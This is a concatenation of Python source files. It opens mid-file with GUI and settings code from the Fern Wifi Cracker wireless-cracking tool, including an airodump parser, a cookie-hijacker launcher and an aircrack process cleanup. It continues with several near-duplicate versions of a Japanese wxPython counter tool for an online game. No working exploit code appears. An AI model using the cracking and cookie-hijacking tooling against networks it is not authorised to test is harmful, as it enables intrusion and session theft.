self.emit(QtCore.SIGNAL("wpa_button_true"))
self.emit(QtCore.SIGNAL("wpa_number_changed"))
else:
self.emit(QtCore.SIGNAL("wpa_button_false"))
wpa_access_convert = wpa_access_file[0:wpa_access_file.index('Station MAC')]
wpa_access_process = wpa_access_convert[wpa_access_convert.index('Key'):-1]
wpa_access_process1 = wpa_access_process.strip('Key\r\n')
process = wpa_access_process1.splitlines()
for iterate in range(len(process)):
detail_process1 = process[iterate]
wpa_access = detail_process1.split(',')
mac_address = wpa_access[0].strip(' ') # Mac address
channel = wpa_access[3].strip(' ') # Channel
speed = wpa_access[4].strip(' ') # Speed
power = wpa_access[8].strip(' ') # Power
access_point = wpa_access[13].strip(' ') # Access point Name
if access_point not in wpa_details.keys():
wpa_details[access_point] = [mac_address,channel,speed,power]
except(ValueError,IndexError):
pass
def evaliate_permissions(self):
if os.geteuid() != 0:
QtGui.QMessageBox.warning(self,"Insufficient Priviledge","Aircrack and other dependencies need root priviledge to function, Please run application as root")
sys.exit()
| Python |
from core import variables
from gui.tips import *
from gui.toolbox import *
from gui.settings import *
from gui.geotrack import *
from gui.font_settings import *
from core.variables import *
from core.functions import *
from gui.attack_settings import *
from core.settings import *
from gui.fern_pro_tip import *
from toolbox.fern_tracker import *
# from toolbox.fern_cookie_hijacker import *
from toolbox.fern_ray_fusion import *
from PyQt4 import QtGui,QtCore
#
# Tool Box window class
#
class tool_box_window(QtGui.QDialog,toolbox_win):
def __init__(self):
QtGui.QDialog.__init__(self)
self.setupUi(self)
self.retranslateUi(self)
self.setWindowModality(QtCore.Qt.ApplicationModal)
self.connect(self.pushButton,QtCore.SIGNAL("clicked()"),self.font_exec)
self.connect(self.geotrack_button,QtCore.SIGNAL("clicked()"),self.geotrack_exec)
self.connect(self.attack_options_button,QtCore.SIGNAL("clicked()"),self.attack_settings_exec)
self.connect(self.cookie_hijack_button,QtCore.SIGNAL("clicked()"),self.cookie_hijack_exec)
self.connect(self.ray_fusion_button,QtCore.SIGNAL("clicked()"),self.ray_fusion_exec)
#
# TOOLBOX FEATURES
#
def geotrack_exec(self):
geotrack_dialog_box = Fern_geolocation_tracker()
geotrack_dialog_box.exec_()
def cookie_hijack_exec(self):
try:
from toolbox import fern_cookie_hijacker
except ImportError:
QtGui.QMessageBox.warning(self,"Scapy Dependency","Scapy library is currently not installed \nPlease run \"apt-get install python-scapy\" to install the dependency")
return
cookie_hijacker = fern_cookie_hijacker.Fern_Cookie_Hijacker()
cookie_hijacker.exec_()
def ray_fusion_exec(self):
ray_fusion = Ray_Fusion()
ray_fusion.exec_()
#
# SETTINGS
#
def font_exec(self):
font_dialog_box = font_dialog()
font_dialog_box.exec_()
def attack_settings_exec(self):
wifi_attack_settings_box = wifi_attack_settings()
wifi_attack_settings_box.exec_()
################################################################################
# #
# GENERAL SETTINGS #
# #
################################################################################
class font_dialog(QtGui.QDialog,font_dialog):
def __init__(self):
QtGui.QDialog.__init__(self)
self.setupUi(self)
self.retranslateUi(self)
self.setWindowTitle('Font Settings')
self.label_2.setText('Current Font: <font color=green><b>%s</b></font>'% \
(reader(os.getcwd() + '/.font_settings.dat' ).split()[2]))
self.connect(self.buttonBox,QtCore.SIGNAL("accepted()"),self.set_font)
font_range = []
for font_numbers in range(1,21):
font_range.append(str(font_numbers))
self.comboBox.addItems(font_range)
def set_font(self):
if '.font_settings.dat' in os.listdir(os.getcwd()):
os.remove('.font_settings.dat')
choosen_font = self.comboBox.currentText()
font_string = 'font_size = %s'%(choosen_font)
write('.font_settings.dat',font_string)
self.close()
QtGui.QMessageBox.information(self,'Font Settings','Please restart application to apply changes')
class wifi_attack_settings(QtGui.QDialog,Ui_attack_settings):
def __init__(self):
QtGui.QDialog.__init__(self)
self.setupUi(self)
self.retranslateUi(self)
self.settings = Fern_settings()
self.display_components()
self.connect(self.mac_button,QtCore.SIGNAL("clicked()"),self.set_static_mac)
self.connect(self.mac_box,QtCore.SIGNAL("clicked()"),self.remove_mac_objects)
self.connect(self.capture_box,QtCore.SIGNAL("clicked()"),self.remove_capture_objects)
self.connect(self.direc_browse,QtCore.SIGNAL("clicked()"),self.set_capture_directory)
def display_components(self):
if self.settings.setting_exists('capture_directory'):
self.capture_box.setChecked(True)
self.directory_label.setText('<font color=green><b>' + str(self.settings.read_last_settings('capture_directory')) + '</b></font>')
if self.settings.setting_exists('mac_address'):
self.mac_box.setChecked(True)
self.mac_edit.setText(str(self.settings.read_last_settings('mac_address')))
def set_static_mac(self):
mac_address = str(self.mac_edit.text())
if not Check_MAC(mac_address):
QtGui.QMessageBox.warning(self,"Invalid MAC Address",variables.invalid_mac_address_error)
self.mac_edit.setFocus()
else:
self.settings.create_settings('mac_address',mac_address)
def set_capture_directory(self):
directory = str(QtGui.QFileDialog.getExistingDirectory(self,"Select Capture Storage Directory",""))
if directory:
self.directory_label.setText('<font color=green><b>' + directory)
self.settings.create_settings("capture_directory",directory)
def remove_mac_objects(self):
if not self.mac_box.isChecked():
self.mac_edit.clear()
self.settings.remove_settings('mac_address')
def remove_capture_objects(self):
if not self.capture_box.isChecked():
self.directory_label.clear()
self.settings.remove_settings('capture_directory')
################################################################################
# #
# WEP ATTACK OPTIONAL SETTINGS #
# #
################################################################################
#
# Tips Dialog, show user tips on how to access settings dialog and set scan preferences
#
class tips_window(QtGui.QDialog,tips_dialog):
def __init__(self):
QtGui.QDialog.__init__(self)
self.setupUi(self)
self.type = int() # Type of tip display e.g tip from mainwindow = 1
self.settings = Fern_settings()
self.connect(self.pushButton,QtCore.SIGNAL("clicked()"),self.accept)
def accept(self):
check_status = self.checkBox.isChecked()
if(self.type == 1): # From Main Window
if check_status == True:
self.settings.create_settings("tips","1")
else:
self.settings.create_settings("tips","0")
if(self.type == 2):
if check_status == True:
self.settings.create_settings("copy key tips","1")
else:
self.settings.create_settings("copy key tips","0")
self.close()
class Fern_Pro_Tips(QtGui.QDialog,Fern_Pro_Tip_ui):
def __init__(self):
QtGui.QDialog.__init__(self)
self.setupUi(self)
self.settings = Fern_settings()
self.connect(self.yes_button,QtCore.SIGNAL("clicked()"),self.open_website)
self.connect(self.show_message_checkbox,QtCore.SIGNAL("clicked()"),self.toggle_tip)
def open_website(self):
QtGui.QDesktopServices.openUrl(QtCore.QUrl("http://www.fern-pro.com/"))
self.toggle_tip()
self.close()
def toggle_tip(self):
checked = self.show_message_checkbox.isChecked()
if(checked):
self.settings.create_settings("fern_pro_tips","1")
return
self.settings.create_settings("fern_pro_tips","0")
#Finished Here (tips_window)
#
# Class for the settings dialog box
#
class settings_dialog(QtGui.QDialog,settings):
def __init__(self):
QtGui.QDialog.__init__(self)
self.settings = Fern_settings()
self.setupUi(self)
if len(variables.xterm_setting) > 0:
self.xterm_checkbox.setChecked(True)
self.label_4.setText("\t\t<font color=green>%s Activated</font>"%(variables.monitor_interface))
list_ = ['All Channels']
for list_numbers in range(1,15):
list_.append(str(list_numbers))
self.channel_combobox.addItems(list_)
self.connect(self.buttonBox,QtCore.SIGNAL("accepted()"),self.change_settings)
self.connect(self.buttonBox,QtCore.SIGNAL("rejected()"),QtCore.SLOT("close()"))
#
# Log selected temporary manual channel to fern-log directory
#
def change_settings(self):
channel = str(self.channel_combobox.currentText())
term_settings = self.xterm_checkbox.isChecked()
if channel == 'All Channels':
variables.static_channel = str()
else:
variables.static_channel = channel
if term_settings:
self.settings.create_settings("xterm","xterm -geometry 100 -e")
else:
self.settings.create_settings("xterm",str())
variables.xterm_setting = self.settings.read_last_settings("xterm")
| Python |
#!/usr/bin/env python
import os
import sys
import time
import shutil
import commands
from PyQt4 import QtGui,QtCore
def initialize():
'Set Working directory'
if 'core' in os.listdir(os.getcwd()):
create_directory()
else:
variable = sys.argv[0]
direc = os.path.dirname(variable)
if direc:
os.chdir(direc)
create_directory()
def restore_files():
'''Fern 1.2 update algorithm fails to update the new version files
therefore this piece of code corrects that defect when running
the program after an update from 1.2'''
update_directory = '/tmp/Fern-Wifi-Cracker/'
for old_file in os.listdir(os.getcwd()):
if os.path.isfile(os.getcwd() + os.sep + old_file) and old_file != '.font_settings.dat':
os.remove(os.getcwd() + os.sep + old_file)
# Delete all old directories except the "key-database" directory
for old_directory in os.listdir(os.getcwd()):
if os.path.isdir(os.getcwd() + os.sep + old_directory) and old_directory != 'key-database':
shutil.rmtree(os.getcwd() + os.sep + old_directory)
for update_file in os.listdir('/tmp/Fern-Wifi-Cracker'): # Copy New update files to working directory
if os.path.isfile(update_directory + update_file):
shutil.copyfile(update_directory + update_file,os.getcwd() + os.sep + update_file)
else:
shutil.copytree(update_directory + update_file,os.getcwd() + os.sep + update_file)
for new_file in os.listdir(os.getcwd()):
os.chmod(os.getcwd() + os.sep + new_file,0777)
def create_directory():
'Create directories and database'
if not os.path.exists('fern-settings'):
os.mkdir('fern-settings') # Create permanent settings directory
if not os.path.exists('key-database'): # Create Database directory if it does not exist
os.mkdir('key-database')
def cleanup():
'Kill all running processes'
commands.getstatusoutput('killall airodump-ng')
commands.getstatusoutput('killall aircrack-ng')
commands.getstatusoutput('killall airmon-ng')
commands.getstatusoutput('killall aireplay-ng')
initialize()
if 'core' not in os.listdir(os.getcwd()):
restore_files()
from core import *
functions.database_create()
from gui import *
if __name__ == '__main__':
app = QtGui.QApplication(sys.argv)
run = fern.mainwindow()
pixmap = QtGui.QPixmap("%s/resources/screen_splash.png" % (os.getcwd()))
screen_splash = QtGui.QSplashScreen(pixmap,QtCore.Qt.WindowStaysOnTopHint)
screen_splash.setMask(pixmap.mask())
screen_splash.show()
app.processEvents()
time.sleep(3)
screen_splash.finish(run)
run.show()
app.exec_()
cleanup()
sys.exit()
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import util
import json
import sys
import context
try:
fp = open("config.json","r")
file = fp.read()
j = json.read(file)
context.Config = j
fp.close()
except Exception:
print(u"設定ファイル形式が不正です。JSONフォーマットで記述してください。")
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
スピンコントロール設置パッケージ
"""
import context
import wx
import util
import event
"""
スピンコントロールビルダー
"""
class Builder:
"""
イニシャライズ
"""
def __init__(self):
self.ctrl = {}
self.count = event.Count()
"""
ボタン構築
"""
def build(self):
config = context.Config
panel = context.UI.buttons_panel
#ボタン構築
self.setParts()
#サイザーにセット
#sizer = wx.GridSizer(1, len(config["target"])*2, 0, 0)
#for i,v in enumerate(self.button):
# sizer.Add(v, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL)
#panel.SetSizer(sizer)
self.count.initResult()
def setParts(self):
config = context.Config
panel = context.UI.buttons_panel
sizer = wx.GridSizer(1, len(config["target"])*2, 0, 0)
for v in config["target"]:
text = wx.StaticText(panel, -1, util.encode(v["name"]))
sizer.Add(text, 0, wx.ALIGN_RIGHT|wx.ALIGN_CENTER_VERTICAL)
if(v["type"]=="int"):
try:
max = v["max"]
except Exception:
max = 50
s = wx.SpinCtrl(panel, -1, "0",wx.DefaultPosition, (50, 30) ,wx.SP_ARROW_KEYS, 0, max)
s.Bind(wx.EVT_SPIN, ev.calcSpin)
else:
s = wx.CheckBox(panel, -1, "")
s.Bind(wx.EVT_CHECKBOX, ev.calcSpin)
ev = event.Counter(self.count,str,v)
self.ctrl[v["str"]] = s
sizer.Add(s, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL)
panel.SetSizer(sizer)
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
コンテキスト
"""
"""
メインフレームオブジェクト
"""
UI = None
"""
設定
"""
Config = None
"""
カウントオブジェクト
"""
Count = None
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
イベント処理
"""
import context
import re
import codecs
import util
import win32clipboard
import win32con
import thread
import threading
import ctypes
import ctypes.wintypes
import time
user32 = ctypes.windll.user32
ASFW_ANY = -1
LSFW_LOCK = 1
LSFW_UNLOCK = 2
WS_EX_LAYERED = 0x80000
LWA_ALPHA = 2
"""
カウント
"""
class Count:
def __init__(self):
context.Count = self
self.counter = {}
self.target = context.UI
self.template = context.Config["template"]
self.resetCount()
def resetOne(self, value):
if(value["type"]=="int"):
self.counter[value["str"]] = 0
try:
context.UI.builder.ctrl[value["str"]].SetValue(0)
except Exception:
pass
else:
self.counter[value["str"]] = util.decode(u"×")
try:
context.UI.builder.ctrl[value["str"]].SetValue(False)
except Exception:
pass
def initResult(self):
result = self.template
for key, v in self.counter.iteritems():
p = re.compile(key)
result = p.sub(v.__str__(), result)
self.target.result_text.SetValue(util.encode(result))
self.target.copyText(self)
def resetCount(self):
for value in context.Config["target"]:
self.resetOne(value)
self.initResult()
"""
計算
"""
class Counter:
def __init__(self, count, str, value):
self.count = count
self.counter = count.counter
self.str = str
self.value = value
def calc(self, event):
if(self.str == "+"):
self.addPlusEvent(self.value)
else:
self.addMinusEvent(self.value)
def calcSpin(self, evt):
if(self.value["type"]=="int"):
self.counter[self.value["str"]] = evt.GetInt()
else:
if(evt.GetInt()==1):
self.counter[self.value["str"]] = util.decode(u"○")
else:
self.counter[self.value["str"]] = util.decode(u"×")
self.count.initResult()
def addPlusEvent(self, v):
try:
if(v["max"] == self.counter[v["str"]]):
return
except Exception:
pass
if(v["type"]=="bool"):
self.counter[v["str"]]=1
else:
self.counter[v["str"]]=self.counter[v["str"]]+1
try:
self.counter[v["sum"]]=self.counter[v["sum"]]+1
except Exception:
pass
self.count.initResult()
def addMinusEvent(self, v):
if(v["type"]=="bool"):
self.minus(v["str"])
self.count.initResult()
return
self.minus(v["str"])
try:
if(v["sum"] <= v["str"]):
self.minus(v["sum"])
except Exception:
pass
self.count.initResult()
def minus(self, key):
if(self.counter[key] > 0 ):
self.counter[key]=self.counter[key]-1
"""
結果テキストの編集
"""
class ResultText:
"""
クリップボードにセット
"""
def setClipBoard(self):
text = codecs.encode(context.UI.result_text.GetValue(), "sjis")
win32clipboard.OpenClipboard()
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText(text)
win32clipboard.CloseClipboard()
print(text)
"""
ウィンドウ操作
"""
def windowInit():
win = WindowController()
while(True):
time.sleep(0.1)
try:
if(context.UI.isActive() != True):
continue
except Exception:
continue
(x, y) = context.UI.GetPosition()
(w, h) = context.UI.GetSize()
pt = ctypes.wintypes.POINT()
user32.GetCursorPos(ctypes.byref(pt))
if( pt.x >= x and pt.y >= y and pt.x <= x+w and pt.y <= y+h ):
win.setName(context.UI.GetTitle().__str__())
win.setActiveByName()
else:
win.setName("Fantasy Earth Zero")
win.setActiveByName()
class WindowController:
def __init__(self):
self.name = ""
"""
ウィンドウ名のセット
"""
def setName(self, name):
self.name = name
def setAlpha(self, alpha):
myHandle = user32.FindWindowA(None, self.name)
exStyle = user32.GetWindowLongA(myHandle, win32con.GWL_EXSTYLE)
user32.SetWindowLongA( myHandle, win32con.GWL_EXSTYLE, exStyle | WS_EX_LAYERED )
user32.SetLayeredWindowAttributes(myHandle, 0, (255*alpha)/100, LWA_ALPHA)
def setActiveByName(self):
myHandle = user32.FindWindowA(None, self.name)
self.setActive(myHandle)
def setActive(self, myHandle):
target_id = user32.GetWindowThreadProcessId(myHandle, None)
active_id = user32.GetWindowThreadProcessId(user32.GetForegroundWindow(), None)
user32.AttachThreadInput(target_id, active_id, True );
user32.SetForegroundWindow(myHandle)
user32.SetActiveWindow(myHandle)
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
ボタン設置パッケージ
"""
import context
import wx
import util
import event
"""
ボタンビルダー
"""
class Builder:
"""
イニシャライズ
"""
def __init__(self):
self.button = []
self.count = event.Count()
"""
ボタン構築
"""
def build(self):
config = context.Config
panel = context.UI.buttons_panel
#ボタン構築
self.setButton("+")
self.setButton("-")
#サイザーにセット
sizer = wx.GridSizer(2, len(config["target"]), 0, 0)
for i,v in enumerate(self.button):
sizer.Add(v, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL)
panel.SetSizer(sizer)
self.count.initResult()
"""
ボタンセット
"""
def setButton(self, str):
config = context.Config
panel = context.UI.buttons_panel
for v in config["target"]:
b = wx.Button(panel, -1, util.encode(v["name"])+str)
#イベント
ev = event.Counter(self.count,str,v)
b.Bind(wx.EVT_BUTTON,ev.calc)
try:
b.SetMinSize((config["config"]["buttonWidth"], -1))
except Exception:
b.SetMinSize((100, -1))
self.button.append(b)
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import util
import json
import sys
import context
try:
fp = open("config.json","r")
file = fp.read()
j = json.read(file)
context.Config = j
fp.close()
except Exception:
print(u"設定ファイル形式が不正です。JSONフォーマットで記述してください。")
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import util
import json
import sys
import context
try:
fp = open("config.json","r")
file = fp.read()
j = json.read(file)
context.Config = j
except Exception:
print(u"設定ファイル形式が不正です。JSONフォーマットで記述してください。")
"""
ctl = util.CountTool()
ctl.config = j["config"]
for v in j["target"]:
ctl.setInt(v)
ctl.setTemplate(util.encode(j["template"]))
"""
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import wx
import context
import util
import bank
class Builder:
def __init__(self, conf):
self.conf = conf
self.list = wx.ListCtrl(self.conf.target_panel,-1, style = wx.LC_REPORT, size=(500, 200))
pass
def setData(self):
self.list.InsertColumn(0, u"名前")
self.list.InsertColumn(1, u"置換文字列")
self.list.InsertColumn(2, u"タイプ")
self.list.InsertColumn(3, u"最大数")
for i, v in enumerate(context.Config["target"]):
self.list.InsertStringItem(i, util.encode(v["name"]))
self.list.SetStringItem(i, 1, v["str"])
self.list.SetStringItem(i, 2, v["type"])
try:
self.list.SetStringItem(i, 3, v["max"].__str__())
except Exception:
pass
def build(self):
self.setData()
self.list.Bind(wx.EVT_LIST_ITEM_FOCUSED, self.test)
sizer = wx.BoxSizer(wx.VERTICAL)
sizer.Add(self.list)
self.conf.target_panel.SetSizer(sizer)
def clearAll(self):
self.list.ClearAll()
def test(self, evt):
print "test"
print self.list.GetFocusedItem()
print evt
item = evt.GetItem()
print item.GetText()
print item.GetId()
print self.list.GetItem(item.GetId(), 1).GetText()
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
コンテキスト
"""
"""
メインフレームオブジェクト
"""
UI = None
"""
設定
"""
Config = None
"""
カウントオブジェクト
"""
Count = None
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
コンテキスト
"""
"""
メインフレームオブジェクト
"""
UI = None
"""
設定
"""
Config = None
"""
カウントオブジェクト
"""
Count = None
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
イベント処理
"""
import context
import re
import codecs
import util
import win32clipboard
import win32con
import thread
import threading
import ctypes
import ctypes.wintypes
import time
user32 = ctypes.windll.user32
ASFW_ANY = -1
LSFW_LOCK = 1
LSFW_UNLOCK = 2
WS_EX_LAYERED = 0x80000
LWA_ALPHA = 2
"""
カウント
"""
class Count:
def __init__(self):
context.Count = self
self.counter = {}
self.target = context.UI
self.template = context.Config["template"]
self.resetCount()
def resetOne(self, value):
if(value["type"]=="int"):
self.counter[value["str"]] = 0
try:
context.UI.builder.ctrl[value["str"]].SetValue(0)
except Exception:
pass
else:
self.counter[value["str"]] = util.decode(u"×")
try:
context.UI.builder.ctrl[value["str"]].SetValue(False)
except Exception:
pass
def initResult(self):
result = self.template
for key, v in self.counter.iteritems():
p = re.compile(key)
result = p.sub(v.__str__(), result)
self.target.result_text.SetValue(util.encode(result))
self.target.copyText(self)
def resetCount(self):
for value in context.Config["target"]:
self.resetOne(value)
self.initResult()
"""
計算
"""
class Counter:
def __init__(self, count, str, value):
self.count = count
self.counter = count.counter
self.str = str
self.value = value
def calc(self, event):
if(self.str == "+"):
self.addPlusEvent(self.value)
else:
self.addMinusEvent(self.value)
def calcSpin(self, evt):
if(self.value["type"]=="int"):
self.counter[self.value["str"]] = evt.GetInt()
else:
if(evt.GetInt()==1):
self.counter[self.value["str"]] = util.decode(u"○")
else:
self.counter[self.value["str"]] = util.decode(u"×")
self.count.initResult()
def addPlusEvent(self, v):
try:
if(v["max"] == self.counter[v["str"]]):
return
except Exception:
pass
if(v["type"]=="bool"):
self.counter[v["str"]]=1
else:
self.counter[v["str"]]=self.counter[v["str"]]+1
try:
self.counter[v["sum"]]=self.counter[v["sum"]]+1
except Exception:
pass
self.count.initResult()
def addMinusEvent(self, v):
if(v["type"]=="bool"):
self.minus(v["str"])
self.count.initResult()
return
self.minus(v["str"])
try:
if(v["sum"] <= v["str"]):
self.minus(v["sum"])
except Exception:
pass
self.count.initResult()
def minus(self, key):
if(self.counter[key] > 0 ):
self.counter[key]=self.counter[key]-1
"""
結果テキストの編集
"""
class ResultText:
"""
クリップボードにセット
"""
def setClipBoard(self):
text = codecs.encode(context.UI.result_text.GetValue(), "sjis")
win32clipboard.OpenClipboard()
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText(text)
win32clipboard.CloseClipboard()
print(text)
"""
ウィンドウ操作
"""
def windowInit():
win = WindowController()
while(True):
time.sleep(0.1)
try:
if(context.UI.isActive() != True):
continue
except Exception:
continue
(x, y) = context.UI.GetPosition()
(w, h) = context.UI.GetSize()
pt = ctypes.wintypes.POINT()
user32.GetCursorPos(ctypes.byref(pt))
if( pt.x >= x and pt.y >= y and pt.x <= x+w and pt.y <= y+h ):
win.setName(context.UI.GetTitle().__str__())
win.setActiveByName()
else:
win.setName("Fantasy Earth Zero")
win.setActiveByName()
class WindowController:
def __init__(self):
self.name = ""
"""
ウィンドウ名のセット
"""
def setName(self, name):
self.name = name
def setAlpha(self, alpha):
myHandle = user32.FindWindowA(None, self.name)
exStyle = user32.GetWindowLongA(myHandle, win32con.GWL_EXSTYLE)
user32.SetWindowLongA( myHandle, win32con.GWL_EXSTYLE, exStyle | WS_EX_LAYERED )
user32.SetLayeredWindowAttributes(myHandle, 0, (255*alpha)/100, LWA_ALPHA)
def setActiveByName(self):
myHandle = user32.FindWindowA(None, self.name)
self.setActive(myHandle)
def setActive(self, myHandle):
target_id = user32.GetWindowThreadProcessId(myHandle, None)
active_id = user32.GetWindowThreadProcessId(user32.GetForegroundWindow(), None)
user32.AttachThreadInput(target_id, active_id, True );
user32.SetForegroundWindow(myHandle)
user32.SetActiveWindow(myHandle)
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
スピンコントロール設置パッケージ
"""
import context
import wx
import util
import event
"""
スピンコントロールビルダー
"""
class Builder:
"""
イニシャライズ
"""
def __init__(self):
self.ctrl = {}
self.count = event.Count()
"""
ボタン構築
"""
def build(self):
config = context.Config
panel = context.UI.buttons_panel
#ボタン構築
self.setParts()
#サイザーにセット
#sizer = wx.GridSizer(1, len(config["target"])*2, 0, 0)
#for i,v in enumerate(self.button):
# sizer.Add(v, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL)
#panel.SetSizer(sizer)
self.count.initResult()
def setParts(self):
config = context.Config
panel = context.UI.buttons_panel
sizer = wx.GridSizer(1, len(config["target"])*2, 0, 0)
for v in config["target"]:
text = wx.StaticText(panel, -1, util.encode(v["name"]))
sizer.Add(text, 0, wx.ALIGN_RIGHT|wx.ALIGN_CENTER_VERTICAL)
ev = event.Counter(self.count,str,v)
if(v["type"]=="int"):
try:
max = v["max"]
except Exception:
max = 50
s = wx.SpinCtrl(panel, -1, "0",wx.DefaultPosition, (50, 30) ,wx.SP_ARROW_KEYS, 0, max)
s.Bind(wx.EVT_SPIN, ev.calcSpin)
else:
s = wx.CheckBox(panel, -1, "")
s.Bind(wx.EVT_CHECKBOX, ev.calcSpin)
self.ctrl[v["str"]] = s
sizer.Add(s, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL)
panel.SetSizer(sizer)
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import wx
import context
import util
import bank
class Builder:
def __init__(self, conf):
self.conf = conf
self.list = wx.ListCtrl(self.conf.target_panel,-1, style = wx.LC_REPORT, size=(500, 200))
pass
def setData(self):
self.list.InsertColumn(0, u"名前")
self.list.InsertColumn(1, u"置換文字列")
self.list.InsertColumn(2, u"タイプ")
self.list.InsertColumn(3, u"最大数")
for i, v in enumerate(context.Config["target"]):
self.list.InsertStringItem(i, util.encode(v["name"]))
self.list.SetStringItem(i, 1, v["str"])
self.list.SetStringItem(i, 2, v["type"])
try:
self.list.SetStringItem(i, 3, v["max"].__str__())
except Exception:
pass
def build(self):
self.setData()
self.list.Bind(wx.EVT_LIST_ITEM_FOCUSED, self.test)
sizer = wx.BoxSizer(wx.VERTICAL)
sizer.Add(self.list)
self.conf.target_panel.SetSizer(sizer)
def clearAll(self):
self.list.ClearAll()
def test(self, evt):
print "test"
print self.list.GetSelectedItemCount()
print evt
item = evt.GetItem()
print item.GetText()
print item.GetId()
print self.list.GetItem(item.GetId(), 1).GetText()
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
ボタン設置パッケージ
"""
import context
import wx
import util
import event
"""
ボタンビルダー
"""
class Builder:
"""
イニシャライズ
"""
def __init__(self):
self.button = []
self.count = event.Count()
"""
ボタン構築
"""
def build(self):
config = context.Config
panel = context.UI.buttons_panel
#ボタン構築
self.setButton("+")
self.setButton("-")
#サイザーにセット
sizer = wx.GridSizer(2, len(config["target"]), 0, 0)
for i,v in enumerate(self.button):
sizer.Add(v, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL)
panel.SetSizer(sizer)
"""
ボタンセット
"""
def setButton(self, str):
config = context.Config
panel = context.UI.buttons_panel
for v in config["target"]:
b = wx.Button(panel, -1, util.encode(v["name"])+str)
#イベント
ev = event.Counter(self.count,str,v)
b.Bind(wx.EVT_BUTTON,ev.calc)
try:
b.SetMinSize((config["config"]["buttonWidth"], -1))
except Exception:
b.SetMinSize((100, -1))
self.button.append(b)
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
スピンコントロール設置パッケージ
"""
import context
import wx
import util
import event
"""
スピンコントロールビルダー
"""
class Builder:
"""
イニシャライズ
"""
def __init__(self):
self.ctrl = {}
self.count = event.Count()
"""
ボタン構築
"""
def build(self):
config = context.Config
panel = context.UI.buttons_panel
#ボタン構築
self.setParts()
#サイザーにセット
#sizer = wx.GridSizer(1, len(config["target"])*2, 0, 0)
#for i,v in enumerate(self.button):
# sizer.Add(v, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL)
#panel.SetSizer(sizer)
self.count.initResult()
def setParts(self):
config = context.Config
panel = context.UI.buttons_panel
sizer = wx.GridSizer(1, len(config["target"])*2, 0, 0)
for v in config["target"]:
text = wx.StaticText(panel, -1, util.encode(v["name"]))
sizer.Add(text, 0, wx.ALIGN_RIGHT|wx.ALIGN_CENTER_VERTICAL)
if(v["type"]=="int"):
try:
max = v["max"]
except Exception:
max = 50
s = wx.SpinCtrl(panel, -1, "0",wx.DefaultPosition, (50, 30) ,wx.SP_ARROW_KEYS, 0, max)
s.Bind(wx.EVT_SPIN, ev.calcSpin)
else:
s = wx.CheckBox(panel, -1, "")
s.Bind(wx.EVT_CHECKBOX, ev.calcSpin)
ev = event.Counter(self.count,str,v)
self.ctrl[v["str"]] = s
sizer.Add(s, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL)
panel.SetSizer(sizer)
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
ボタン設置パッケージ
"""
import context
import wx
import util
import event
"""
ボタンビルダー
"""
class Builder:
"""
イニシャライズ
"""
def __init__(self):
self.button = []
self.count = event.Count()
"""
ボタン構築
"""
def build(self):
config = context.Config
panel = context.UI.buttons_panel
#ボタン構築
self.setButton("+")
self.setButton("-")
#サイザーにセット
sizer = wx.GridSizer(2, len(config["target"]), 0, 0)
for i,v in enumerate(self.button):
sizer.Add(v, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL)
panel.SetSizer(sizer)
"""
ボタンセット
"""
def setButton(self, str):
config = context.Config
panel = context.UI.buttons_panel
for v in config["target"]:
b = wx.Button(panel, -1, util.encode(v["name"])+str)
#イベント
ev = event.Counter(self.count,str,v)
b.Bind(wx.EVT_BUTTON,ev.calc)
try:
b.SetMinSize((config["config"]["buttonWidth"], -1))
except Exception:
b.SetMinSize((100, -1))
self.button.append(b)
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
スピンコントロール設置パッケージ
"""
import context
import wx
import util
import event
"""
スピンコントロールビルダー
"""
class Builder:
"""
イニシャライズ
"""
def __init__(self):
self.ctrl = {}
self.count = event.Count()
"""
ボタン構築
"""
def build(self):
config = context.Config
panel = context.UI.buttons_panel
#ボタン構築
self.setParts()
#サイザーにセット
#sizer = wx.GridSizer(1, len(config["target"])*2, 0, 0)
#for i,v in enumerate(self.button):
# sizer.Add(v, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL)
#panel.SetSizer(sizer)
self.count.initResult()
def setParts(self):
config = context.Config
panel = context.UI.buttons_panel
sizer = wx.GridSizer(1, len(config["target"])*2, 0, 0)
for v in config["target"]:
text = wx.StaticText(panel, -1, util.encode(v["name"]))
sizer.Add(text, 0, wx.ALIGN_RIGHT|wx.ALIGN_CENTER_VERTICAL)
ev = event.Counter(self.count,str,v)
if(v["type"]=="int"):
try:
max = v["max"]
except Exception:
max = 50
s = wx.SpinCtrl(panel, -1, "0",wx.DefaultPosition, (50, 30) ,wx.SP_ARROW_KEYS, 0, max)
s.Bind(wx.EVT_SPIN, ev.calcSpin)
else:
s = wx.CheckBox(panel, -1, "")
s.Bind(wx.EVT_CHECKBOX, ev.calcSpin)
